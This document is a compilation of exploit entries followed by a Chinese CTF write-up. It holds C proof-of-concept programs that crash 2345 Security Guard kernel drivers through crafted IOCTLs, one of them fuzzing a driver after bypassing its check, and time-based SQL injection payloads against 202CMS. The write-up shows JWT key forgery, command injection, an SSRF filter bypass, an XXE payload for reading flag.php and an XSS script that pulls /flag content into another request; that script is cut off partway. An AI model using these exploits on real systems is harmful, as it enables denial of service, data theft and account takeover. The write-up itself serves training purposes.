A non-privileged authenticated user can inject SQL commands on the <base-url>/24online/webpages/myaccount/usersessionsummary.jsp?invoiceid=<numeric-id> &fromdt=dd/mm/yyyy hh:mm:ss&todt= dd/mm/yyyy hh:mm:ss

There is complete informational disclosure over the stored database.

 
I tried to contact them to disclose and get the vulnerability patched, but they did not reply positively.
            
# Exploit Title: [BSOD  by IOCTL 0x8000200D in 2345NsProtect.sys  of 2345 Security Guard 3.7]
# Date: [20180513]
# Exploit Author: [anhkgg]
# Vendor Homepage: [http://safe.2345.cc/]
# Software Link: [http://dl.2345.cc/2345pcsafe/2345pcsafe_v3.7.0.9345.exe]
# Version: [v3.7] (REQUIRED)
# Tested on: [Windows X64]
# CVE : [CVE-2018- 11034]

#include <windows.h>
#include <stdio.h>

struct NETFW_IOCTL_ADD_PID
{
	DWORD pid;
	char seed[0x14];//
};//0x18

struct NETFW_IOCTL_SET_PID
{
	BYTE set_state;// 
	BYTE unk;//1
	WORD buf_len;//2
	DWORD pid;//4
	char buf[0x64];//8
};//6c

struct NETFW_IOCTL_222040
{
	DWORD* ptr;
	DWORD size;
};//

int __stdcall f_XOR__12A30(BYTE *a1, BYTE *a2)
{
	int result; 

	*a1 ^= *a2;
	*a2 ^= *a1;
	result = (unsigned __int8)*a2;
	*a1 ^= result;
	return result;
}

int __stdcall sub_12A80(char *a1, int len, char *a3)
{
	int result;
	unsigned __int8 v4;
	__int16 i;
	__int16 j;
	unsigned __int8 k; 

	for ( i = 0; i < 256; ++i )
		a3[i] = i;
	a3[256] = 0;
	a3[257] = 0;
	k = 0;
	v4 = 0;
	result = 0;
	for ( j = 0; j < 256; ++j )
	{
		v4 += a3[j] + a1[k];
		f_XOR__12A30((BYTE*)&a3[j], (BYTE*)&a3[v4]);
		result = (k + 1) / len;
		k = (k + 1) % len;
	}
	return result;
}

char *__stdcall sub_12B60(char *a1, signed int len, char *a3)
{
	char *result;
	__int16 i; 
	unsigned __int8 v5; 
	unsigned __int8 v6;

	v5 = a3[256];
	v6 = a3[257];
	for ( i = 0; i < len; ++i )
	{
		v6 += a3[++v5];
		f_XOR__12A30((BYTE*)&a3[v5], (BYTE*)&a3[v6]);
		a1[i] ^= a3[(unsigned __int8)(a3[v6] + a3[v5])];
	}
	a3[256] = v5;
	result = a3;
	a3[257] = v6;
	return result;
}

void calc_seed(char* seed, char* dst)
{
	char Source1[26] = {0};
	char a3[300] = {0};

	Source1[0] = 8;
	Source1[1] = 14;
	Source1[2] = 8;
	Source1[3] = 10;
	Source1[4] = 2;
	Source1[5] = 3;
	Source1[6] = 29;
	Source1[7] = 23;
	Source1[8] = 13;
	Source1[9] = 3;
	Source1[10] = 15;
	Source1[11] = 22;
	Source1[12] = 15;
	Source1[13] = 7;
	Source1[14] = 91;
	Source1[15] = 4;
	Source1[16] = 18;
	Source1[17] = 26;
	Source1[18] = 26;
	Source1[19] = 3;
	Source1[20] = 4;
	Source1[21] = 1;
	Source1[22] = 15;
	Source1[23] = 25;
	Source1[24] = 10;
	Source1[25] = 13;

	sub_12A80(seed, 0x14, a3);             
	sub_12B60(Source1, 0x1A, a3);
	memcpy(dst, Source1, 26);
}

int poc_2345NetFirewall()
{
	HANDLE h = CreateFileA("\\\\.\\2345NetFirewall",
		GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
		NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if(h == INVALID_HANDLE_VALUE) {
		printf("[-] Open device error: %d\n", GetLastError());
		return 1;
	}
	DWORD BytesReturned = 0;

	DWORD ctlcode = 0x222298;
	NETFW_IOCTL_ADD_PID add_pid = {0};
	add_pid.pid = GetCurrentProcessId();

	if(!DeviceIoControl(h, ctlcode, &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &BytesReturned, NULL)) {
		printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
	}

	ctlcode = 0x2222A4;
	NETFW_IOCTL_SET_PID set_pid = {0};
	set_pid.pid = GetCurrentProcessId();
	set_pid.set_state = 1;

	calc_seed(add_pid.seed, set_pid.buf);
	set_pid.buf_len = 26;

	if(!DeviceIoControl(h, ctlcode, &set_pid, sizeof(NETFW_IOCTL_SET_PID), &set_pid, sizeof(NETFW_IOCTL_SET_PID), &BytesReturned, NULL)) {
		printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
	}

	//BSOD
	ctlcode = 0x222040;
	NETFW_IOCTL_222040 buf_222040 = {0};
	buf_222040.size = 1;
	buf_222040.ptr = (DWORD*)0x80000000;
	if(!DeviceIoControl(h, ctlcode, &buf_222040, sizeof(NETFW_IOCTL_222040), &buf_222040, sizeof(NETFW_IOCTL_222040), &BytesReturned, NULL)) {
		printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
	}

	return 0;
}

int main()
{
	poc_2345NetFirewall();
		
	return 0;
}
            
/*
# Exploit Title: 2345 Security Guard 3.7 - Denial of Service
# Date: 2018-05-08
# Exploit Author: anhkgg
# Vendor Homepage: http://safe.2345.cc/
# Software Link: http://dl.2345.cc/2345pcsafe/2345pcsafe_v3.7.0.9345.exe
# Version: v3.7
# Tested on: Windows 7 x86
# CVE : CVE-2018-10809
#
# BSOD caused of 2345NetFirewall.sys because of not validating input values,test version 3.7 on windows 7 x86 platform
#
#
*/

#include <windows.h>
#include <stdio.h>

struct NETFW_IOCTL_ADD_PID
{
	DWORD pid;
	char seed[0x14];//
};//0x18

struct NETFW_IOCTL_SET_PID
{
	BYTE set_state;// 
	BYTE unk;//1
	WORD buf_len;//2
	DWORD pid;//4
	char buf[0x64];//8
};//6c

struct NETFW_IOCTL_222040
{
	DWORD* ptr;
	DWORD size;
};//

int __stdcall f_XOR__12A30(BYTE *a1, BYTE *a2)
{
	int result; 

	*a1 ^= *a2;
	*a2 ^= *a1;
	result = (unsigned __int8)*a2;
	*a1 ^= result;
	return result;
}

int __stdcall sub_12A80(char *a1, int len, char *a3)
{
	int result;
	unsigned __int8 v4;
	__int16 i;
	__int16 j;
	unsigned __int8 k; 

	for ( i = 0; i < 256; ++i )
		a3[i] = i;
	a3[256] = 0;
	a3[257] = 0;
	k = 0;
	v4 = 0;
	result = 0;
	for ( j = 0; j < 256; ++j )
	{
		v4 += a3[j] + a1[k];
		f_XOR__12A30((BYTE*)&a3[j], (BYTE*)&a3[v4]);
		result = (k + 1) / len;
		k = (k + 1) % len;
	}
	return result;
}

char *__stdcall sub_12B60(char *a1, signed int len, char *a3)
{
	char *result;
	__int16 i; 
	unsigned __int8 v5; 
	unsigned __int8 v6;

	v5 = a3[256];
	v6 = a3[257];
	for ( i = 0; i < len; ++i )
	{
		v6 += a3[++v5];
		f_XOR__12A30((BYTE*)&a3[v5], (BYTE*)&a3[v6]);
		a1[i] ^= a3[(unsigned __int8)(a3[v6] + a3[v5])];
	}
	a3[256] = v5;
	result = a3;
	a3[257] = v6;
	return result;
}

void calc_seed(char* seed, char* dst)
{
	char Source1[26] = {0};
	char a3[300] = {0};

	Source1[0] = 8;
	Source1[1] = 14;
	Source1[2] = 8;
	Source1[3] = 10;
	Source1[4] = 2;
	Source1[5] = 3;
	Source1[6] = 29;
	Source1[7] = 23;
	Source1[8] = 13;
	Source1[9] = 3;
	Source1[10] = 15;
	Source1[11] = 22;
	Source1[12] = 15;
	Source1[13] = 7;
	Source1[14] = 91;
	Source1[15] = 4;
	Source1[16] = 18;
	Source1[17] = 26;
	Source1[18] = 26;
	Source1[19] = 3;
	Source1[20] = 4;
	Source1[21] = 1;
	Source1[22] = 15;
	Source1[23] = 25;
	Source1[24] = 10;
	Source1[25] = 13;

	sub_12A80(seed, 0x14, a3);             
	sub_12B60(Source1, 0x1A, a3);
	memcpy(dst, Source1, 26);
}

int poc_2345NetFirewall()
{
	HANDLE h = CreateFileA("\\\\.\\2345NetFirewall",
		GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
		NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if(h == INVALID_HANDLE_VALUE) {
		printf("[-] Open device error: %d\n", GetLastError());
		return 1;
	}
	DWORD BytesReturned = 0;

	DWORD ctlcode = 0x222298;
	NETFW_IOCTL_ADD_PID add_pid = {0};
	add_pid.pid = GetCurrentProcessId();

	if(!DeviceIoControl(h, ctlcode, &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &BytesReturned, NULL)) {
		printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
	}

	ctlcode = 0x2222A4;
	NETFW_IOCTL_SET_PID set_pid = {0};
	set_pid.pid = GetCurrentProcessId();
	set_pid.set_state = 1;

	calc_seed(add_pid.seed, set_pid.buf);
	set_pid.buf_len = 26;

	if(!DeviceIoControl(h, ctlcode, &set_pid, sizeof(NETFW_IOCTL_SET_PID), &set_pid, sizeof(NETFW_IOCTL_SET_PID), &BytesReturned, NULL)) {
		printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
	}

	//BSOD
	ctlcode = 0x222040;
	NETFW_IOCTL_222040 buf_222040 = {0};
	buf_222040.size = 1;
	buf_222040.ptr = (DWORD*)0x80000000;
	if(!DeviceIoControl(h, ctlcode, &buf_222040, sizeof(NETFW_IOCTL_222040), &buf_222040, sizeof(NETFW_IOCTL_222040), &BytesReturned, NULL)) {
		printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
	}

	return 0;
}

int main()
{
	poc_2345NetFirewall();
		
	return 0;
}
            
# Exploit Title: [BSOD  by IOCTL 0x002220e0 in 2345BdPcSafe.sys  of 2345 Security Guard 3.7]
# Date: [20180509]
# Exploit Author: [anhkgg]
# Vendor Homepage: [http://safe.2345.cc/]
# Software Link: [http://dl.2345.cc/2345pcsafe/2345pcsafe_v3.7.0.9345.exe]
# Version: [v3.7] (REQUIRED)
# Tested on: [Windows X64]
# CVE : [CVE-2018- 10830]

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

struct NETFW_IOCTL_ADD_PID
{
	DWORD pid;
	char seed[0x14];//4 + 14
};//0x18

#pragma pack(push)
#pragma pack(1)
struct NETFW_IOCTL_SET_PID
{
	BYTE set_state;//
	WORD buf_len;//1
	DWORD pid;//3
	char buf[0x64];//7
};//6B
#pragma pack(pop)

int __stdcall f_XOR__12A30(BYTE *a1, BYTE *a2)
{
	BYTE *a1_; // eax

	a1_ = a1;
	*a1_ ^= *a2;
	*a2 ^= *a1;
	*a1_ ^= *a2;
	return (int)a1_;
}

int __stdcall sub_12A80(char *a1, int len, char *a3)
{
	int result;
	unsigned __int8 v4;
	__int16 i;
	__int16 j;
	unsigned __int8 k;

	for (i = 0; i < 256; ++i)
		a3[i] = i;
	a3[256] = 0;
	a3[257] = 0;
	k = 0;
	v4 = 0;
	result = 0;
	for (j = 0; j < 256; ++j)
	{
		v4 += a3[j] + a1[k];
		f_XOR__12A30((BYTE*)&a3[j], (BYTE*)&a3[v4]);
		result = (k + 1) / len;
		k = (k + 1) % len;
	}
	return result;
}

char *__stdcall sub_12B60(char *a1, signed int len, char *a3)
{
	char *v3; // esi
	unsigned int v4; // ebx
	unsigned __int8 result; // al
	int v6; // edi
	char *v7; // ST18_4
	int v8; // [esp+14h] [ebp-8h]
	int v9; // [esp+18h] [ebp-4h]
	unsigned __int8 v10; // [esp+2Fh] [ebp+13h]

	v3 = a3;
	v4 = a3[256];
	result = a3[257];
	v9 = 0;
	if (len > 0)
	{
		v6 = (unsigned __int8)v4;
		v8 = 0;
		while (1)
		{
			v4 = (v6 + 1) & 0x800000FF;
			v6 = (unsigned __int8)v4;
			v10 = v3[(unsigned __int8)v4] + result;
			v7 = &v3[v10];
			f_XOR__12A30((BYTE*)&v3[(unsigned __int8)v4], (BYTE*)v7);
			a1[v8] ^= v3[(unsigned __int8)(v3[(unsigned __int8)v4] + *v7)];
			v8 = (signed __int16)++v9;
			if ((signed __int16)v9 >= len)
				break;
			result = v10;
		}
		result = v10;
	}
	v3[256] = v4;
	v3[257] = result;
	return (char *)result;
}

void calc_seed(char* seed, char* dst)
{
	char Source1[26] = { 0 };
	char a3[300] = { 0 };

	Source1[0] = 8;
	Source1[1] = 14;
	Source1[2] = 8;
	Source1[3] = 10;
	Source1[4] = 2;
	Source1[5] = 3;
	Source1[6] = 29;
	Source1[7] = 23;
	Source1[8] = 13;
	Source1[9] = 3;
	Source1[10] = 15;
	Source1[11] = 22;
	Source1[12] = 15;
	Source1[13] = 7;
	Source1[14] = 91;
	Source1[15] = 4;
	Source1[16] = 18;
	Source1[17] = 26;
	Source1[18] = 26;
	Source1[19] = 3;
	Source1[20] = 4;
	Source1[21] = 1;
	Source1[22] = 15;
	Source1[23] = 25;
	Source1[24] = 10;
	Source1[25] = 13;

	sub_12A80(seed, 0x14, a3);       
	sub_12B60(Source1, 0x1A, a3);
	memcpy(dst, Source1, 26);
}

BOOL BypassChk(HANDLE h)
{
	DWORD BytesReturned = 0;

	DWORD ctlcode = 0x222090;
	NETFW_IOCTL_ADD_PID add_pid = { 0 };
	add_pid.pid = GetCurrentProcessId();

	if (!DeviceIoControl(h, ctlcode, &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &BytesReturned, NULL)) {
		printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
		return FALSE;
	}

	ctlcode = 0x222094;
	NETFW_IOCTL_SET_PID set_pid = { 0 };
	set_pid.pid = GetCurrentProcessId();
	set_pid.set_state = 1;

	calc_seed(add_pid.seed, set_pid.buf);
	set_pid.buf_len = 26;

	if (!DeviceIoControl(h, ctlcode, &set_pid, sizeof(NETFW_IOCTL_SET_PID), &set_pid, sizeof(NETFW_IOCTL_SET_PID), &BytesReturned, NULL)) {
		printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
		return FALSE;
	}

	return TRUE;
}

HANDLE OpenDevice(char* path)
{
	return CreateFileA(path,
		GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
}

CHAR asciiString10[0x10];
CHAR asciiString100[0x100];
CHAR asciiString1000[0x1000];
WCHAR unicodeString10[0x10];
WCHAR unicodeString100[0x100];
WCHAR unicodeString1000[0x1000];
DWORD tableDwords[0x100];

DWORD FuzzConstants[] = {
	0x00000000, 0x00000001, 0x00000004, 0xFFFFFFFF,
	0x00001000, 0xFFFF0000, 0xFFFFFFFE, 0xFFFFFFF0,
	0xFFFFFFFC, 0x70000000, 0x7FFEFFFF, 0x7FFFFFFF,
	0x80000000,
	(DWORD)asciiString10,
	(DWORD)asciiString100,
	(DWORD)asciiString1000,
	(DWORD)unicodeString10,
	(DWORD)unicodeString100,
	(DWORD)unicodeString1000,
	(DWORD)tableDwords
};

/* Period parameters */
#define N 624
#define M 397
#define MATRIX_A 0x9908b0dfUL   /* constant vector a */
#define UPPER_MASK 0x80000000UL /* most significant w-r bits */
#define LOWER_MASK 0x7fffffffUL /* least significant r bits */

static unsigned long mt[N]; /* the array for the state vector  */
static int mti = N + 1; /* mti==N+1 means mt[N] is not initialized */

/* initializes mt[N] with a seed */
void init_genrand(unsigned long s)
{
	mt[0] = s & 0xffffffffUL;
	for (mti = 1; mti < N; mti++) {
		mt[mti] =
			(1812433253UL * (mt[mti - 1] ^ (mt[mti - 1] >> 30)) + mti);
		/* See Knuth TAOCP Vol2. 3rd Ed. P.106 for multiplier. */
		/* In the previous versions, MSBs of the seed affect   */
		/* only MSBs of the array mt[].                        */
		/* 2002/01/09 modified by Makoto Matsumoto             */
		mt[mti] &= 0xffffffffUL;
		/* for >32 bit machines */
	}
}

/* generates a random number on [0,0xffffffff]-interval */
unsigned long genrand_int32(void)
{
	unsigned long y;
	static unsigned long mag01[2] = { 0x0UL, MATRIX_A };
	/* mag01[x] = x * MATRIX_A  for x=0,1 */

	if (mti >= N) { /* generate N words at one time */
		int kk;

		if (mti == N + 1)   /* if init_genrand() has not been called, */
			init_genrand(5489UL); /* a default initial seed is used */

		for (kk = 0; kk < N - M; kk++) {
			y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK);
			mt[kk] = mt[kk + M] ^ (y >> 1) ^ mag01[y & 0x1UL];
		}
		for (; kk < N - 1; kk++) {
			y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK);
			mt[kk] = mt[kk + (M - N)] ^ (y >> 1) ^ mag01[y & 0x1UL];
		}
		y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK);
		mt[N - 1] = mt[M - 1] ^ (y >> 1) ^ mag01[y & 0x1UL];

		mti = 0;
	}

	y = mt[mti++];

	/* Tempering */
	y ^= (y >> 11);
	y ^= (y << 7) & 0x9d2c5680UL;
	y ^= (y << 15) & 0xefc60000UL;
	y ^= (y >> 18);

	return y;
}

unsigned long getrand(unsigned long min, unsigned long max)
{
	return (genrand_int32() % (max - min + 1)) + min;
}

//3.7.0.2860
int poc_2345NetFirewall()
{
	
	DWORD BytesReturned = 0;

	HANDLE h = OpenDevice("\\\\.\\2345BdPcSafe");
	if (h == INVALID_HANDLE_VALUE) {
		printf("[-] Open device error: %d\n", GetLastError());
		return 1;
	}

	if (!BypassChk(h)) {
		printf("[-] error!");
		return 1;
	}

	DWORD ctlcode = 0x002220e0;
	BYTE  bufInput[0x10000] = { 0 };
	BYTE  bufOutput[0x10000] = { 0 };

	srand(time(NULL));
	int count = 0;
	while (count++ < 1000) {
		// Choose a random length for the buffer
		size_t randomLength = getrand(4, 0x400);

		for (int i = 0; i < randomLength; i = i + 4) {
			int fuzzData = FuzzConstants[getrand(0, (sizeof(FuzzConstants) / 4) - 1)];

			// Choose a random element into FuzzConstants
			bufInput[i] = fuzzData & 0x000000ff;
			bufInput[i + 1] = (fuzzData & 0x0000ff00) >> 8;
			bufInput[i + 2] = (fuzzData & 0x00ff0000) >> 16;
			bufInput[i + 3] = (fuzzData & 0xff000000) >> 24;
		}

		DeviceIoControl(h,
			ctlcode,
			bufInput,
			randomLength,
			bufOutput,
			0,
			&BytesReturned,
			NULL);

		Sleep(10);
	}

	return 0;
}

int main()
{
	poc_2345NetFirewall();

	printf("poc failed!\n");

	getchar();
		
	return 0;
}
            
===========================================================================================
# Exploit Title: 202CMS - 'log_user' SQL Inj.
# Dork: N/A
# Date: 20-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/b202cms/
# Software Link: https://sourceforge.net/projects/b202cms/
# Version: v10 beta
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: 202CMS is small, but functionally CMS. It is based
on Twitter Bootstrap
  This CMS was built by Konrad and is powered by MySQLi and PHP. 202CMS is
highly customizable
  and extremely easy to setup. The script is not finished, but soon I'm
going to finish it.
===========================================================================================
# POC - SQLi (blind)
# Parameters : log_user
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f
# POST Method : http://localhost/202cms10beta/index.php
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: 202CMS - 'register.php' SQL Inj.
# Dork: N/A
# Date: 20-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/b202cms/
# Software Link: https://sourceforge.net/projects/b202cms/
# Version: v10 beta
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: 202CMS is small, but functionally CMS. It is based
on Twitter Bootstrap
  This CMS was built by Konrad and is powered by MySQLi and PHP. 202CMS is
highly customizable
  and extremely easy to setup. The script is not finished, but soon I'm
going to finish it.
===========================================================================================
# POC - SQLi (blind)
# Parameters : register.php, reg_user,reg_mail
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f
# Attack Pattern : %27%2b((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2b%27
# POST Method : http://localhost/202cms10beta/register.php
===========================================================================================
            

一、青龙组WEB

web1

开局随便随便输入都可以登录,登上去以后生成了一个token和一个session,一个是jwt一个是flask框架的

这边先伪造jwt,是国外的原题

CTFtime.org / DownUnderCTF 2021 (线上) / JWT / Writeup

先生成两个token,然后利用rsa_sign2n工具来生成公钥

  python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYWFhIn0.EnToBP4kzW6jbUqkC7fjt-FcCq9mOMhKWRqKpo12BsG464YTX2QNiBLuzgqJhnDlGF2Ukqb6oWXhFm0qiKrbg1skUb0FO2kMBkEvRLpyGJ7tXOzcndGDl-egaMa-mSN321RNW-aiCKJsij5Tf0HzQgBU8UCg1Zd8uJaybcj3oXOi eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.IUanU3g_ZtyPjDnOJ9gockfRo1oOQLmQT0To_WYLi9I9PluHxbBId5d2wFiF-sIhGPuDtzPvShiE1ao0qnMlp3X7pVf-Qb-juaslvbnpR1rCKH2D3Kq4u1d2wEDvsgWVtjYA6s5NXrvJpzDcpZlzmx_6Ywn8caqVQ3kjlTv87OKO

img

得到public key

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgSSlUMfCzg/ysG4ixoi6NKGuWNnv
IpZZTRNa045eH2xzzY/ZyRwDojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fAN
MNCYRa47xIW0RwZBDSABcGnwu3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502
ZMSv0AxMgN5UMh9FCwIDAQAB
-----END PUBLIC KEY-----

然后利用RsaCtfTool得到私钥

img

-----BEGIN RSA PRIVATE KEY-----
MIICoQIBAAKBgSSlUMfCzg/ysG4ixoi6NKGuWNnvIpZZTRNa045eH2xzzY/ZyRwD
ojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fANMNCYRa47xIW0RwZBDSABcGnw
u3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502ZMSv0AxMgN5UMh9FCwIDAQAB
AoGBC5/r+nCv2+uWXTjL8i6UJtLIfdOssxKbJNiIKLXQh3l8IAAfx1i9ktxYEICW
TcGTUkx9gjd+xUwo0KOKjcg3hZc7bEfLkiOsK8dSwsPFEXYQpCE1EFokhkc9Rbiq
URC9QIrQjtzf5vdU2usj5ddRGtqtmpXm/ibU1TLPIsy8Y5TJAoGBAP2Mj8b+pnwu
SCp0EYh99ogr6jblQlVwySv34UDQarcFjkQoB60SOMZpGCyPr/auhfDIsNvKyXLK
S7IBEBFMETWywUx28OGFV7xtGF7RfLWmaKYXy4ML/DfHonV8khZ6h5wpyxPL3Wli
uJCSSsjNgXhj4aeGLtRRuySpiXflrdFvAgElAoGBALrhzOO+tJWZQ2XPMVEqjvjl
bXfS2WbCf/Theuzb8Zw/AxJncuj1IlXUBpZpvigTkPPd6MXIHV13j/1+3QnyyEiN
Hf6vOHLxZq6itrDEtafqJP4vUbigr+GpSqxQChl5bNUE1QMdY3AW7LTarzZ8iq5i
6GMi+wdRyp+GOqXd65UPAgERAoGAUjts5pfHSt6T8hfOVcf87eS6qgUqRTlWAGwR
tCfrQkb9tT1qRfgSadzlPuJ+QirDqAm80amNcVZdvTDG8NpmckfP/R+oEcphpOUc
qSFY4PezPMlyb7DcLcQ0sHttpmztthtkdR+GFFdedBPFOjTQC16qDNGSpbmkepfZ
jqta99E=
-----END RSA PRIVATE KEY-----

接着直接伪造jwt即可,成功伪造了用户名为admin

可以访问game路由使用功能,这里又是国外原题

AIS3-pre-exam-2024-Writeup | 堇姬 Naup's Blog

利用emo表情构造出cd flag;p:|cat *

  

直接读源码,可以得到secret_key为36f8efbea152e50b23290e0ed707b4b0

那么直接伪造

img

然后就可以使用上传文件的功能,我们先审计一下这部分的源码

@app.route('/upload', methods=['GET', 'POST'])
def upload():
token = request.cookies.get('token')
if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
form = UploadForm()
if not payload or payload['username'] != 'admin':
error_message = 'You do not have permission to access this page.Your username is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
if not session['role'] or session['role'] != 'admin':
error_message = 'You do not have permission to access this page.Your role is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])


if form.validate_on_submit():
file = form.avatar.data
if file:
filename = secure_filename(file.filename)
files = {'file': (filename, file.stream, file.content_type)}
php_service_url = 'http://127.0.0.1/upload.php'
response = requests.post(php_service_url, files=files)
if response.status_code == 200:
flash(response.text, 'success')
else:
flash('Failed to upload file to PHP service', 'danger')
return render_template('upload.html', form=form)

@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
token = request.cookies.get('token')
form = GameForm()
if not token:
error_message = 'Please login first'
return render_template('view_uploads.html', form=form, error_message=error_message)
payload = decode_jwt(token)
if not payload:
error_message = 'Invalid or expired token. Please login again.'
return render_template('view_uploads.html', form=form, error_message=error_message)
if not payload['username']=='admin':
error_message = 'You do not have permission to access this page.Your username is not admin'
return render_template('view_uploads.html', form=form, error_message=error_message)
user_input = None
if form.validate_on_submit():
filepath = form.user_input.data
pathurl = request.form.get('path')
if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
return render_template('view_uploads.html', form=form, error_message=error_message)
params = {'s': filepath}
try:
response = requests.get("http://"+pathurl, params=params, timeout=1)
return render_template('view_uploads.html', form=form, user_input=response.text)
except:
error_message = "500! Server Error"
return render_template('view_uploads.html', form=form, error_message=error_message)
return render_template('view_uploads.html', form=form, user_input=user_input)

这里面80端口有个php服务,然后/upload路由可以上传文件到uplaods目录下,在view_uploads路由下可以查看,但是存在waf

if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):

这里必须包含这个域名,而且不能有127.0.0.1,那么这里可以用0.0.0.0来代替127.0.0.1,用ssrf中的跳转来绕过域名限制

POST /view_uploads HTTP/1.1
Host: 0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 211
Origin: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
Connection: close
Referer: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732/view_uploads
Cookie: session=eyJjc3JmX3Rva2VuIjoiYmQyNTJlZDZlYTQ5ZmJmOWQyZjJjMmQ0YTBlNjc1YzJhYzlmNmU5MyIsInJvbGUiOiJhZG1pbiJ9.ZyBmXg.eLZ3Z69hYgP6lG3vjiMNsKTLCno; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zrnvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAUrKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

csrf_token=ImJkMjUyZWQ2ZWE0OWZiZjlkMmYyYzJkNGEwZTY3NWMyYWM5ZjZlOTMi.ZyBmag.RCasLc0XUU8ep682nDtSZ5PeqsQ&path=www.testctf.com@0.0.0.0&user_input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8&submit=Submit

那么可以先随便上传一个文件,然后读取,发现会报Failed to load XML file,猜测会解析xml,直接打xxe,但是过滤了system等许多关键字,那么采用utf-16编码绕过,直接读flag.php文件

<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>

iconv -f utf8 -t utf16 1.xml>3.xml

然后上传3.xml,再去读取,得到flag

img

web2

打开容器一个登录界面,随便输入账号密码可以进到漏洞界面

这里有一个发送给boss的功能,一眼xss

然后访问/flag,需要boss才能访问,这里我们就可以提交一个xss,然后让boss先访问/flag,再把数据带给我们的content里面

<script>var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;

xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var flagData = xmlhttp.responseText;
var flag1 = btoa(flagData);
var remoteServerUrl = '/content/4a95828e3f0037bfe446ae0e693912df';
var xmlhttp2 = new XMLHttpRequest();
xmlhttp2.open("POST", remoteServerUrl, true);
